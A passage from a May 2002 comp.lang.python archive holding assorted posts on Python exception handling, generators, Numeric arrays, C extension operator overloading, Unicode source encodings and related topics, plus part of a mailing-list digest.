a Python boolean, integer, real, or >> complex* literal >> otherwise return a the string where the string came from raw_input() or some other input source. Of course it could raise anything it wanted, including SystemExit or KeyboardInterrupt or MemoryError. > Now tell me again how to write a function that takes ANY object > and just tell me if it's translatable into complex. Are you SURE > "except:" is not the right approach...? There is a difference between "ANY object" and a string. To me the protocol for int/string/float/complex/long conversion is that it takes a string (or other datatype) and either returns a value of that type or raises a ValueError exception. If it raises some other exception then it doesn't meet the "can be tested to see if it supports that type conversion" protocol. That protocol is implicit, so I also wouldn't depend on it for much. Still, it's what I've used in my code and so far has worked well enough for me and my clients. >> There may be some exceptions those throw besides ValueError, >If astr is a string, no. But if you forget the parentheses on the >call to raw_input, as I did (more bugs in my coding...), specific >exception checking helps;-). > > My worry about "except:" is that it ignores KeyboardInterrupt > > (if done at just the right/wrong time) and gives false results > Yeah, well, what's the vulnerability window? Very small if done once. A lot larger if done in a loop. Here's my test def spam(): infile = open("/boot/vmlinux-2.2.14-6.0") count = 0 skipped_count = 0 try: while 1: try: s = "1+2" + infile.read(1) if not s: break try: complex(s) except KeyboardInterrupt: print "Got one!" skipped_count += 1 except: pass except KeyboardInterrupt: count += 1 except KeyboardInterrupt: print "Caught outside the outside" print skipped_count, "skipped ^C of", count, float(skipped_count)/count raise print skipped_count, "skipped ^C of", count, float(skipped_count)/count The raw output is at the end of this mail. I found that about 1% of the KeyboardInterrupts were masked Alex: > Sure. But when you have NO idea about the argument, as in the > first function, there's really no alternative. You MIGHT catch > KeyboardInterrupt earlier if you're the kind who wear braces, a > belt, AND clean new undies at all times just in cases belt and > braces both fail, though. Hmm... I'm wearing neither belt nor braces right now. No comment on the undies :) For a string I would only have ValueError. For other objects, I would be suspicious about the need for that sort of test in the first place and suspicious about suppressing non-ValueError exceptions. (I might catch TypeError as well.) But given that it should test any object and return True or False depending on if the conversion was successful or not, then I agree, there's no other way to handle that case other than a blanket "else:" since any exception I can check can also be thrown by the __float__ / __complex__ / __int__ ... methods. Andrew dalke at dalkescientific.com Here's the output of my test of the KeyboardInterrupt mask check code. >>> import spam >>> spam.spam() ^CCaught outside the outside 0 skipped ^C of 43 0.0 Traceback (most recent call last): File "<stdin>", line 1, in ? File "spam.py", line 6, in spam while 1: KeyboardInterrupt >>> spam.spam() Got one! Caught outside the outside 1 skipped ^C of 31 0.0322580645161 Traceback (most recent call last): File "<stdin>", line 1, in ? File "spam.py", line 6, in spam while 1: KeyboardInterrupt >>> spam.spam() Caught outside the outside 0 skipped ^C of 56 0.0 Traceback (most recent call last): File "<stdin>", line 1, in ? File "spam.py", line 17, in spam pass KeyboardInterrupt >>> KeyboardInterrupt >>> spam.spam() Caught outside the outside 0 skipped ^C of 14 0.0 Traceback (most recent call last): File "<stdin>", line 1, in ? File "spam.py", line 17, in spam pass KeyboardInterrupt >>> KeyboardInterrupt >>> KeyboardInterrupt >>> spam.spam() Got one! Got one! Caught outside the outside 2 skipped ^C of 127 0.0157480314961 Traceback (most recent call last): File "<stdin>", line 1, in ? File "spam.py", line 17, in spam pass KeyboardInterrupt >>> From roy at panix.com Sun May 12 17:41:24 2002 From: roy at panix.com (Roy Smith) Date: Sun, 12 May 2002 17:41:24 -0400 Subject: python, a scripting language? References: <dazD8.13642$ph2.436138@news4.ulv.nextra.no> Message-ID: <roy-7C8CA5.17412412052002@reader1.panix.com> "Erlend J. Leiknes" <nookieNO_SP_AM at online.no> wrote: > A friend of mine which is a java programmer insists on that python is > scripting language... Feh. We've got a small crowd at work who seem to enjoy arguing semantics such as what makes something a programming language vs. a scripting language, or whether "what system X does can really be called compiling"? All I know is that for a lot of what I do, Python lets me get my work done quicker and easier than the alternatives. If it makes you feel better to accuse me of using a scripting language, I'm OK with that :-) From beehiveinc at spam.me.not Sun May 5 20:18:40 2002 From: beehiveinc at spam.me.not (Bee Hive Inc.) Date: Mon, 06 May 2002 00:18:40 GMT Subject: State of Python.NET References: <mailman.1020598150.7459.python-list@python.org> Message-ID: <AZjB8.26$Ag3.15123@sapphire.mtt.net> By the way I have been reading up on JScript.NET recently. There may be some lessons to learn from JScript on how to make a dynamic language work well in .NET. "Mailing Lists" <lists at weissinger.org> wrote in message news:mailman.1020598150.7459.python-list at python.org... > Anyone have any information on the Python to .NET compiler that ActiveState > began and then seems to have abandoned? Where is Mark Hammond working these > days? I know he's gone from ActiveState. Is he working on this anymore? > > Thank you! > > Keyton > > > From ianb at colorstudy.com Wed May 8 15:50:33 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 08 May 2002 14:50:33 -0500 Subject: Render HTML? In-Reply-To: <3CD8D3A6.AD85EB08@anansispaceworks.com> References: <3CD8D3A6.AD85EB08@anansispaceworks.com> Message-ID: <1020887433.545.4.camel@localhost> On Wed, 2002-05-08 at 02:28, Terry Hancock wrote: > I have a need to render some HTML to an image format > for a project I'm working on. I've tried html2ps combined > with ImageMagick, and it might be good enough, but > I do have some complaints: You might try htmldoc, which can render a page into PDF and some other formats, I think. It seems to work pretty well. Ian From ChrisE at lantech.com Wed May 15 13:17:19 2002 From: ChrisE at lantech.com (Christopher Encapera) Date: Wed, 15 May 2002 13:17:19 -0400 Subject: OT: Crazy Programming Message-ID: <BC74F8F7E87DD511990C000103E2FEFA3042@XCHG> > >People really should learn the difference between things which are not to >their personal taste, and thing which are bad. > >I, for example, can't stand country and western music. Hate the stuff. But I >would not be so arrogant as to suggest that those who *do* like country and >western are wrong, and that it's a bad thing. It's just not my cup of tea. > >If you don't appreciate modern art, well, fair enough. But 'universal >condemnation and hatred'? Did your wife leave you for a conceptual artist, >or something? > >Cheers, >Simon Brunning >TriSystems Ltd. >sbrunning at trisystems.co.uk lol! If she has, she has not let me in on the betrayal! (that would be so 'artsy fartsy' of her:) On a more serious note, I do subscribe to that old fashioned notion of the hierarchy of value, which recognizes that some things, some philosophies, even some cultures & art are better than others. While Willie Nelson's 'blue eyes cryin in the rain' might not be Mozart, it is vastly superior (in every respect) to say, the rapper of the week (or that "modern art" that sits in front of county hall). And that ain't no personal opinion - that is objective truth - the very foundation of the universe, the ground of all being and meaning, agrees with this evaluation (i.e. it is objective truth!). Indeed what is arrogant is that philosophy so popular these days that everything is relative - that there can be no (other than subjective) evaluation of right and wrong, good and bad, art and, well, bad art - it is an arrogant relativism gone wild :) But none of this has much to do with that honorable, high art of programming python, and will be my last laugh - I mean post - on the matter ;) Christopher Encapera Lantech.Com chrise at lantech.com 502-267-4200 From sholden at holdenweb.com Thu May 9 17:43:42 2002 From: sholden at holdenweb.com (Steve Holden) Date: Thu, 9 May 2002 17:43:42 -0400 Subject: Python stagnating? References: <b62b39cb.0205090942.19eb2bfe@posting.google.com> <abedle$9lb$1@panix1.panix.com> Message-ID: <a7CC8.45960$m26.19073@atlpnn01.usenetserver.com> "Aahz" <aahz at pythoncraft.com> wrote ... > In article <b62b39cb.0205090942.19eb2bfe at posting.google.com>, > Chris <chrisl_ak at hotmail.com> wrote: > > > >What is the status of Python development? Or the supporting > >organization? I notice a lot of links in the FAQ and other documents > >are outdated/broken, and surfing the web I saw a lot of references to > >the "Python Starship" but it looks like it hasn't been updated in a > >few years... > > If you're referring to broken links on python.org, please send e-mail to > webmaster at python.org. Starship has been somewhat stagnant for a while, > but there's been some recent discussion about reviving it. > > Python development, of course, is anything but stagnant, as any number > of threads complaining about too much change would tell you. ;-) Aahz: I'm just running webchecker on www.python.org, and it does appear that there are a number of broken links. Should I send the output to webmaster? regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- From mjais at web.de Thu May 23 09:34:07 2002 From: mjais at web.de (Markus Jais) Date: Thu, 23 May 2002 15:34:07 +0200 Subject: Book: Zope Bible ?? Message-ID: <Ec6H8.7$jZ2.420@news.ecrc.de> hello I want to get some more understanding of zope and found the zope bible at amazon. if focuses on produkt development with python. but zope 3 is already in development. does anybody know if this book is good and if makes sense to buy it when zope 3 is already in development?? will the book still be useful then ? markus From mkc+dated+1023845385.118c21 at mathdogs.com Sun May 12 21:33:48 2002 From: mkc+dated+1023845385.118c21 at mathdogs.com (Mike Coleman) Date: 12 May 2002 20:33:48 -0500 Subject: OT: Crazy Programming References: <mailman.1021198403.21335.python-list@python.org> <87offlnq3k.fsf@mathdogs.com> <mailman.1021250064.30651.python-list@python.org> Message-ID: <87g00wompv.fsf@mathdogs.com> "David K. Trudgett" <dkt at registriesltd.com.au> writes: > An interesting observation is this: the difference between the beginner's > Python code and the expert's Python code is less than the difference between > the beginner's Perl code and the expert's Perl code. This is actually the > origin of "Python is more readable", which it is. It's difficult to write > unintelligible code in Python (though I'm sure it's possible -- there are > people with lots of talent out there ;-)), whereas, it's relatively easy in > Perl. I agree, but I'm more inclined to render this as It's difficult to write intelligible code in Perl (though I'm sure it's possible -- there are (masochistic) people with lots of talent out there ;-)), whereas, it's relatively easy in Python. Mike From fperez528 at yahoo.com Sun May 12 05:15:13 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Sun, 12 May 2002 03:15:13 -0600 Subject: Iterating over the cells of an array? References: <abjbfp$1t9$1@news5.svr.pol.co.uk> <zfbD8.47684$zW3.598023@news1.tin.it> Message-ID: <ablc03$r3e$2@peabody.colorado.edu> <posted & mailed> Alex Martelli wrote: >> But I'm not sure of the 'best' way to handle this for an array of arbitray >> rank (i.e. where 's' is an arbitrary length sequence of non-negative > > for item in Numeric.ravel(whatever): > process(item) > I'd instead write: if myarray.iscontiguous: for item in myarray.flat: do() else: for item in ravel(myarray): do() unless you know ahead of time that it's never going to be contiguous. ravel is I believe a copy operation, much more expensive than a call to the flattened array (which simply allows the loop to be done with straight pointer arithmetic underneath). cheers, f From cliechti at gmx.net Tue May 28 16:51:59 2002 From: cliechti at gmx.net (Chris Liechti) Date: 28 May 2002 22:51:59 +0200 Subject: Why are types not hashable? References: <3CF3E7A4.9010103@verio.net> Message-ID: <Xns921CE8F67FAA6cliechtigmxnet@62.2.16.82> VanL <vlindberg at verio.net> wrote in news:3CF3E7A4.9010103 at verio.net: > What prevents this from working: > > >>> import types > >>> alltypes = [t for t in types.__dict__.keys() if t[:2] != '__'] > >>> typestrings ={} > >>> for t in alltypes: typestrings[eval('types.' + t): t] no need for "eval" here... a) there is dict.items() b) there is getattr > ... > Traceback (most recent call last): > File "<stdin>", line 1, in ? > TypeError: unhashable type > > > Why is <type 'dict'> not hashable? Surely its not mutable? it is (py 2.2)... >>> d = {} >>> for k,v in types.__dict__.items(): ... if k[-4:] == 'Type': ... d[v]=k ... or if you want as a one liner in functional style: d = dict([ (v,k) for k,v in types.__dict__.items() if k[-4:] == 'Type']) >>> d[int] 'IntType' >>> d[dict] 'DictType' >>> dict <type 'dict'> >>> chris -- Chris <cliechti at gmx.net> From cliechti at gmx.net Sat May 11 11:16:07 2002 From: cliechti at gmx.net (Chris Liechti) Date: 11 May 2002 17:16:07 +0200 Subject: grokking generators and iterators References: <3CDCAEDC.2030103@horvath.com> <eppstein-431BB7.21523010052002@news.service.uci.edu> <3CDCB6AF.8030903@horvath.com> <eppstein-049A38.22415410052002@news.service.uci.edu> Message-ID: <Xns920BAFF70DA22cliechtigmxnet@62.2.16.82> David Eppstein <eppstein at ics.uci.edu> wrote in news:eppstein-049A38.22415410052002 at news.service.uci.edu: > In article <3CDCB6AF.8030903 at horvath.com>, > Bob Horvath <usenet at horvath.com> wrote: > >> > def fiveatatime(L): >> > L = iter(L) >> > while 1: >> > yield (L.next(),L.next(),L.next(),L.next(),L.next()) >> > >> > then call fiveatatime(file) >> > >> > This will group each five line chunk into a tuple of five strings. >> > It will throw away lines at the end that are not a multiple of five >> > -- you need to specify more carefully what to do if that is a >> > problem. >> > >> >> >> That will indeed work, I think, but I am not sure I understand the >> end condition. What happens when you "next()" off of the end? I was >> expectin an exception, but it seems to get swallowed. > > You would typically use this in a for-loop: > > for chunk in fiveatatime(file): > do something > > The exception terminates the loop. but if the file doesn't contain a multiple of five you will get an exception instead of return the e.g. four lines that only where there. if that's no problem fine, but otherwise fiveatatime should be modified that it catches StopIteration on all the next() but the first one (maybe returning an empty string for the missing lines). chris -- Chris <cliechti at gmx.net> From bh at intevation.de Thu May 23 06:45:02 2002 From: bh at intevation.de (Bernhard Herzog) Date: 23 May 2002 12:45:02 +0200 Subject: Extending: overloading operators (e.g. for a vector class) References: <Xns9216288B48C8Fcliechtigmxnet@62.2.16.82> Message-ID: <6q4rgznnwx.fsf@abnoba.intevation.de> Chris Liechti <cliechti at gmx.net> writes: > say i have the follwing class (details ommited): > > class Vector2D: > def __init__(self, x=0, y=0): > self.x, self.y = x, y > ... > def __mul__(self, other): > if type(other) in (int, float): > return Vector2D( self.x*other, self.y*other ) > else: > raise NotImplementedError > > now i want to program this as a C extension type (for practise, i know that > there are existing extensions to represent a vector). You may want to have a look at Sketch, perhaps. It implements exactly this. A 2D vector/point as a C extension type. Implementing sequence and number interfaces in the same C extension type is not all that easy, but it's become much better with the "newstyle numbers" in Python 2.1. > it seems to me tp_as_number supports __mul__ for numbers, but only for > instances of the same type, a coercion function (nb_coerce) can help in > some cases (e.g. converting a complex), but i can't use it to represent a > scalar (int, long, float) in this case. In Python 2.1 and higher this is relatively simple. If you use "newstyle numbers" python won't attempt a coercion and call the nb_multiply method directly with the operands. > and there seems so be an other place where a __mul__ can be emulated: > sq_repeat for sequences. can/must i define both, or none? AFAICT, in Python 2.1 and 2.2 sq_repeat will never be called by the interpreter itself, but it might be called by other C code which calls PySequence_Repeat. Make me wonder whether it should be deprecated :) In older versions -- at least in 1.5.2 haven't 2.0 -- Python special cased the * operator quite a bit. For instance if you mutliplied a sequence with an int it called the sequence's repeat implementation regardless of the order of the operands! > should i provide these methods (__mul__, __add__ etc.) throug getattr and > implement them just as i would do it when not overloading an operator (like > defining a .multiply(other) method but name it __mul__)? I haven't looked at how Python 2.2 handles this sort of thing yet. In earlier versions you do it by implementing the functions in tp_as_number, etc, but as long as your type object is an instance of PyType_Type you probably don't have to worry about these methods. > i expect similar problems when using __add__ with a tuple/list etc. In python 1.5.2 you had to implement addition of vectors in the sq_repeat if you wanted to be able to use it as a sequence as well. In 2.1 the nb_add is tried before sq_concat, AFAICT. Bernhard -- Intevation GmbH http://intevation.de/ Sketch http://sketch.sourceforge.net/ MapIt! http://www.mapit.de/ From eppstein at ics.uci.edu Fri May 10 14:00:36 2002 From: eppstein at ics.uci.edu (David Eppstein) Date: Fri, 10 May 2002 11:00:36 -0700 Subject: Thoughts on new grammar rules (PEP 284 in particular) References: <82undu4anb47usgck50ebil2ku1f36173q@4ax.com> Message-ID: <eppstein-60D413.11003610052002@news.service.uci.edu> In article <82undu4anb47usgck50ebil2ku1f36173q at 4ax.com>, Steve Horne <steve at lurking.demon.co.uk> wrote: > I was just reading PEP284 and, in general, I like it. The trouble is, > I'd quite like these limit-specifications to be more general. For > example, I'd quite like to write... > > if 0 <= x < 10 : > print "x is in range" > > There is a big problem with this, of course - this is already legal > Python, but the semantics aren't what I intend. I don't understand your point -- what semantics do you intend for this test that are different from current Python? -- David Eppstein UC Irvine Dept. of Information & Computer Science eppstein at ics.uci.edu http://www.ics.uci.edu/~eppstein/ From kragen at pobox.com Tue May 14 03:52:15 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 14 May 2002 03:52:15 -0400 Subject: Multibyte Character Surport for Python References: <e786d63d.0205080421.3788a0e2@posting.google.com> <j4y9euwxq7.fsf@informatik.hu-berlin.de> <kuhelirarl.fsf@lasipalatsi.fi> <c76ff6fc.0205081337.43428505@posting.google.com> <ku3cx1qlvq.fsf@lasipalatsi.fi> <m3helhp6cc.fsf@mira.informatik.hu-berlin.de> <kuu1php323.fsf@lasipalatsi.fi> <m3wuucbjlb.fsf@mira.informatik.hu-berlin.de> <udol0hpg2g9gf7@news.supernews.com> <j44rhf40as.fsf@informatik.hu-berlin.de> <877kmag92g.fsf@tleepslib.sk.tsukuba.ac.jp> <m3offm95jz.fsf@mira.informatik.hu-berlin.de> Message-ID: <83g00vgo9c.fsf@panacea.canonical.org> martin at v.loewis.de (Martin v. Loewis) writes: > "Stephen J. Turnbull" <stephen at xemacs.org> writes: > > That doesn't mean we think that Python should prohibit writing > > programs in arbitrary user-specified encodings. Only that the > > facility for transforming a non-Unicode program into Unicode should be > > provided as a standard library facility, rather than part of the > > language. > > I believe that you are still the only one who voices this specific > position. More often, you find the position that Python source code > should be restricted to UTF-8, period. . . . > Apart from you, nobody else agrees with the approach "let's make it > part of the library instead of part of the language". To most users, > the difference appears not to matter (including myself, except that I > think making it part of the language simplifies maintenance of the > feature). I don't fully understand all the issues here, but I don't think that pointing out that Stephen is the only person who holds a particular opinion necessarily suggests that he is wrong. I believe Stephen is the only person here who regularly writes in a language that is written in a non-Latin character set --- Japanese, in his case. Also, although I am not certain of this, I think he has worked on the internationalization support in XEmacs. > I don't consider it evil to provide users with options: If UTF-8 is > technically superior (which I agree it is), it will become the default > text encoding of the future, anywith, with or without this PEP. Notice > that the PEP slightly favours UTF-8 over other encodings, due to > support of the UTF-8 signature. About providing users with options --- is it possible that these options could mean I couldn't recompile your Python code if I don't have code to support the particular encoding you wrote it in? How about cutting and pasting code between modules written in different encodings, either in an editor that didn't support Unicode or didn't support one of the encodings correctly? About using "recode" to support existing e.g. ISO-8859-15 code. If I am not mistaken, that code can presently only contain ISO-8859-15 inside of byte strings and Unicode strings. Python 2.1 seems to assume ISO-8859-1 for Unicode string contents. Would it be sufficient to recode the contents of Unicode strings? From pinard at iro.umontreal.ca Sun May 12 10:05:51 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 12 May 2002 10:05:51 -0400 Subject: Multibyte Character Surport for Python In-Reply-To: <slrnadreba.uj.gerhard@lilith.my-fqdn.de> References: <e786d63d.0205080421.3788a0e2@posting.google.com> <j4y9euwxq7.fsf@informatik.hu-berlin.de> <kuhelirarl.fsf@lasipalatsi.fi> <c76ff6fc.0205081337.43428505@posting.google.com> <ku3cx1qlvq.fsf@lasipalatsi.fi> <m3helhp6cc.fsf@mira.informatik.hu-berlin.de> <kuu1php323.fsf@lasipalatsi.fi> <m3wuucbjlb.fsf@mira.informatik.hu-berlin.de> <udol0hpg2g9gf7@news.supernews.com> <j44rhf40as.fsf@informatik.hu-berlin.de> <877kmag92g.fsf@tleepslib.sk.tsukuba.ac.jp> <m3offm95jz.fsf@mira.informatik.hu-berlin.de> <slrnadreba.uj.gerhard@lilith.my-fqdn.de> Message-ID: <oqheldmpfk.fsf@titan.progiciels-bpi.ca> [Gerhard H?ring] > Martin v. Loewis wrote in comp.lang.python: > > More often, you find the position that Python source code should be > > restricted to UTF-8, period. > That's what I'd prefer to see rather sooner than later. > > The counter-position to that is: what about existing code, > recode(1) This is not an acceptable solution. This is a difficult and recurrent problem for various languages, and Python is no exception, offering Unicode support without feeding Unicode fanatism. The time has not come yet that everybody embraced and uses Unicode on an individual basis. French and German still use ISO 8859-1 (or -15), Polish still use ISO 8859-2, etc. Guess what, most Americans still use ASCII! [1] When everybody will be using Unicode, it will be meaningful that Python supports UTF-8 only. Python 3.0, Python 4.0 and maybe even Python 5.0 will be published before the world turns Unicode all over :-). Let's keep in mind that Python is there to help programmers at living a better life, today. Python should take no part in Unicode religious proselytism, and not create useless programmer suffering by prematurely limiting itself to Unicode-only. -------------------- [1] Let's be honest, here! If Unicode was not offering something like UTF-8 which almost fully supports ASCII without the shadow of a change, I guess that the average American programmer would vividly oppose Unicode. Just ponder that slight fuzziness in the way people interpret ASCII apostrophe compared to Unicode apostrophe: this smallish detail already generated endless and sometimes heated debates. (And for those who care, my position is that whenever fonts and Unicode contradicts in the ASCII area, fonts should merely be corrected and adapt to both ASCII and Unicode. The complexity that was recently added in this area is pretty gratuitous, and is only meant to salvage those who chose to deviate from ASCII.) -------------- next part -------------- -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From phd at phd.pp.ru Tue May 14 15:28:22 2002 From: phd at phd.pp.ru (Oleg Broytmann) Date: Tue, 14 May 2002 23:28:22 +0400 Subject: DPythOS 0.0 released In-Reply-To: <20020514152637.GQ13600@samba-tng.org>; from lkcl@samba-tng.org on Tue, May 14, 2002 at 03:26:37PM +0000 References: <mailman.1021378504.8146.clpa-moderators@python.org> <20020514162634.I8572@phd.pp.ru> <20020514163057.K8572@phd.pp.ru> <20020514152637.GQ13600@samba-tng.org> Message-ID: <20020514232822.A3753@phd.pp.ru> On Tue, May 14, 2002 at 03:26:37PM +0000, Luke Kenneth Casson Leighton wrote: > > > > - all versions of ssh are non-interactive with respect to > > > > password input. i had to patch open-ssh to accept > > > > passwords on the command-line (ssh password:user at host). > > > > > > That's bad, pretty bad. Now anyone with access to /bin/ps can view > > > all passwords :( > > the other is to overwrite the args so they can't show up. Race condition (there is a time frame where the password will be exposed anyway). Oleg. -- Oleg Broytmann http://phd.pp.ru/ phd at phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From martin at v.loewis.de Sat May 25 21:24:51 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 26 May 2002 03:24:51 +0200 Subject: Backwards emulation rather than backwards compatibility? References: <3CEF8E04.6040909@ix.netcom.com> <mailman.1022364102.10713.python-list@python.org> Message-ID: <m3y9e7puos.fsf@mira.informatik.hu-berlin.de> Tim Churches <tchur at optushome.com.au> writes: > How about a Python meta-bytecode-compiler/interpreter which examines > Python source code and/or bytecode and automatically sends the code to > the appropriate installed version of Python, resetting PYTHONPATH and > any other aspects of the environment appropriately? On Linux, this feature is available today: the binfmt_misc mechanism allows easy dispatching to interpreters based on the magic inside the file. Most of the recent Python version vary in file magic, for the byte code. Regards, Martin From loewis at informatik.hu-berlin.de Wed May 29 09:31:23 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 29 May 2002 15:31:23 +0200 Subject: No parsers found... References: <ad25f4$tcqf2$1@ID-146704.news.dfncis.de> <921D7A043jhewebdeagde@194.45.170.159> <ad2art$tesgi$1@ID-146704.news.dfncis.de> <ad2bss$th0cq$1@ID-146704.news.dfncis.de> Message-ID: <j48z63nkr8.fsf@informatik.hu-berlin.de> "Shagshag13" <shagshag13 at yahoo.fr> writes: > i have > [~/local/lib 510 ] ls > libexpat.a libexpat.so libexpat.so.0.1.0 > libexpat.la libexpat.so.0 python2.2 > > but it's look like python doesn't find it no ? > > i should have missed something... Most certainly. You need to edit Modules/Setup to point it to your expat installation, to make use of the pyexpat module that comes with Python. Alternatively, when J?rgen referred you to pyxml.sf.net, he did mean this literally, i.e. pyxml.sf.net. Regards, Martin From nospam at nospam.nospam Sun May 12 10:21:53 2002 From: nospam at nospam.nospam (Max) Date: Sun, 12 May 2002 14:21:53 GMT Subject: print string+ in for loop References: <20020512225216.32620d8f.kevin@no.mail.com> Message-ID: <5UuD8.33093$CN3.1134349@news2.tin.it> "Kevin Kohiruimaki" <kevin at no.mail.com> ha scritto nel messaggio news:20020512225216.32620d8f.kevin at no.mail.com... > Hi, [...] > But I can not do: > > for c in word: > print c+ > > What is the reason for not implementing it in the language? Thanks for > answering. print c+ should concatenate c with something. For instance, if you write print c + '--' you could have the letters from your word followed by the two minus sign. But in my opinion you miss a variable or something after the operator. What would you do whit that statement? Maybe printing the letters on the same line? If so, try print c, that prints the letters without outputting a new line... From buzzard at urubu.freeserve.co.uk Thu May 2 17:12:37 2002 From: buzzard at urubu.freeserve.co.uk (Duncan Smith) Date: Thu, 2 May 2002 22:12:37 +0100 Subject: debian python-mysqldb References: <sShA8.5$Ot3.1@newsread2.prod.itd.earthlink.net> Message-ID: <aasaap$hk7$1@news5.svr.pol.co.uk> On Windows 2000, but this works for me, >>> import MySQLdb >>> conn = MySQLdb.connect(host="localhost", user="me", passwd="my_password") >>> conn <MySQLdb.connections.Connection instance at 01156694> >>> Duncan "Billy Ng" <kwokng at earthlink.net> wrote in message news:sShA8.5$Ot3.1 at newsread2.prod.itd.earthlink.net... > I want to connection my python program to talk to a mysql database. I am > using debian linux and I have installed the testing python-mysqldb 0.9.1-3 > module, but I got error when I used mysqldb.connect(). What is package name > actually I should use? Would any please tell me how call the python-mysqldb > methods? > > Thanks! > > Billy Ng > > > > > From ramanand.gudimanchi at siritech.com Tue May 14 23:32:50 2002 From: ramanand.gudimanchi at siritech.com (ramanand.gudimanchi at siritech.com) Date: Wed, 15 May 2002 09:02:50 +0530 Subject: help Message-ID: <OF6BC723BC.0D0D7E5C-ON65256BBA.00136F20@siri.co.in> python-list-request@ python.org To: python-list at python.org Sent by: cc: python-list-admin at py Subject: Python-list digest, Vol 1 #10937 - thon.org 13 msgs 05/15/02 08:50 AM Please respond to python-list Send Python-list mailing list submissions to python-list at python.org To subscribe or unsubscribe via the World Wide Web, visit http://mail.python.org/mailman/listinfo/python-list or, via email, send a message with subject or body 'help' to python-list-request at python.org You can reach the person managing the list at python-list-admin at python.org When replying, please edit your Subject line so it is more specific than "Re: Contents of Python-list digest..." Today's Topics: 1. Re: File write/read question (Fernando =?ISO-8859-1?Q?P=E9rez?=) 2. Re: File write/read question (Chris Liechti) 3. Re: How to setting system time (Peter Hansen) 4. Re: how to upgrade correctly to 2.2.1??? (Philip Swartzleonard) 5. Re: how to write function that returns function (Bengt Richter) 6. Re: Multi-precision packages: gmpy vs mxNumber (Gerhard =?iso-8859-15?Q?H=E4ring?=) 7. Re: OT: Crazy Programming (Greg Ewing) 8. Re: generated comprehensions (Greg Ewing) 9. Re: how to write function that returns function (Steve Holden) 10. Re: Multibyte Character Surport for Python (Greg Ewing) 11. Re: Oberon in Python, ala Pyrex but instant compile? (Greg Ewing) 12. Attachmate Extra! and Python (Terje Johan Abrahamsen) 13. Re: Problem using VC6sp5 to compile extensions - PyObject_HEAD_INIT (Richard Jones) Message: 1 Path: news.baymountain.net!uunet!ash.uu.net!news-out.visi.com!hermes.visi.com!newsfeed1.earthlink.net!newsfeed.earthlink.net!news-hog.berkeley.edu!ucberkeley!news.colorado.edu!not-for-mail From: Fernando =?ISO-8859-1?Q?P=E9rez?= <fperez528 at yahoo.com> Newsgroups: comp.lang.python Subject: Re: File write/read question Date: Tue, 14 May 2002 18:48:17 -0600 Organization: University of Colorado, Boulder Lines: 17 Message-ID: <absbdk$rfd$1 at peabody.colorado.edu> References: <78bc9697.0205130907.4288e607 at posting.google.com> NNTP-Posting-Host: 128.138.249.175 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7Bit NNTP-Posting-Date: 15 May 2002 00:51:00 GMT User-Agent: KNode/0.7.1 Xref: news.baymountain.net comp.lang.python:163557 To: python-list at python.org Sender: python-list-admin at python.org Precedence: bulk List-Help: <mailto:python-list-request at python.org?subject=help> List-Post: <mailto:python-list at python.org> List-Subscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=subscribe> List-Id: General discussion list for the Python programming language <python-list.python.org> List-Unsubscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=unsubscribe> List-Archive: <http://mail.python.org/pipermail/python-list/> Nathan Hellmers wrote: > test2 = open("test.txt", "r") > a = test2.readline() > int(a) > print a + a > Change to: test2 = open("test.txt", "r") a = int(test2.readline().strip()) print a + a and you should be fine. f. Message: 2 Newsgroups: comp.lang.python Subject: Re: File write/read question From: Chris Liechti <cliechti at gmx.net> References: <78bc9697.0205130907.4288e607 at posting.google.com> <9diE8.1438$Ec.126265 at newsread2.prod.itd.earthlink.net> Message-ID: <Xns920F20B6DC4FBcliechtigmxnet at 62.2.16.82> User-Agent: Xnews/5.03.24 NNTP-Posting-Host: 217.162.158.112 Date: 15 May 2002 03:11:07 +0200 Lines: 42 Path: news.baymountain.net!uunet!ash.uu.net!priapus.visi.com!news-out.visi.com!hermes.visi.com!newspump.sol.net!news.mailgate.org!news-zh.switch.ch!news.swissonline.ch!not-for-mail Xref: news.baymountain.net comp.lang.python:163558 To: python-list at python.org Sender: python-list-admin at python.org Precedence: bulk List-Help: <mailto:python-list-request at python.org?subject=help> List-Post: <mailto:python-list at python.org> List-Subscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=subscribe> List-Id: General discussion list for the Python programming language <python-list.python.org> List-Unsubscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=unsubscribe> List-Archive: <http://mail.python.org/pipermail/python-list/> "Howard Roth" <hr at tngi.com> wrote in news:9diE8.1438$Ec.126265 at newsread2.prod.itd.earthlink.net: > One way to do the conversion is to use 'eval(a)' > So 'print eval(a) + eval(a)" will give you two. > Or you can assign 'x = eval(a)' and 'print x + x' this executes arbitrary python code found in the file... good enough for a quick hack but not suitable for production code due to security risks. > "Nathan Hellmers" <nhellmers at yahoo.com> wrote in message > news:78bc9697.0205130907.4288e607 at posting.google.com... ... >> test2 = open("test.txt", "r") >> a = test2.readline() >> int(a) >> print a + a >> ---------------- >> >> That successfully reads the number 1 from the file and assigns the >> variable "a" to it, but the printout is 1 1 (on two lines) rather than >> 2. Using type I can see that "a" was not converted to an integer. I well it was, but you throwed away the result... "a = int(a)" would do what you want >> can also see that "a" actually equals "a\n". If I slice off the \n >> with "a = a[0:1]", I still can't convert it to an integer. if you want to get rid of whitespaces use strip(), lstrip(), rstrip() these methods cut away whitspace on both or one side: i.e. "a = a.rstrip()" if the conversion with int() would have failed above, you would have get an exception. so the newline doesn't even matter in this case. chris -- Chris <cliechti at gmx.net> Message: 3 Message-ID: <3CE1B934.2055D8B8 at engcorp.com> Date: Tue, 14 May 2002 21:26:12 -0400 From: Peter Hansen <peter at engcorp.com> MIME-Version: 1.0 Newsgroups: comp.lang.python Subject: Re: How to 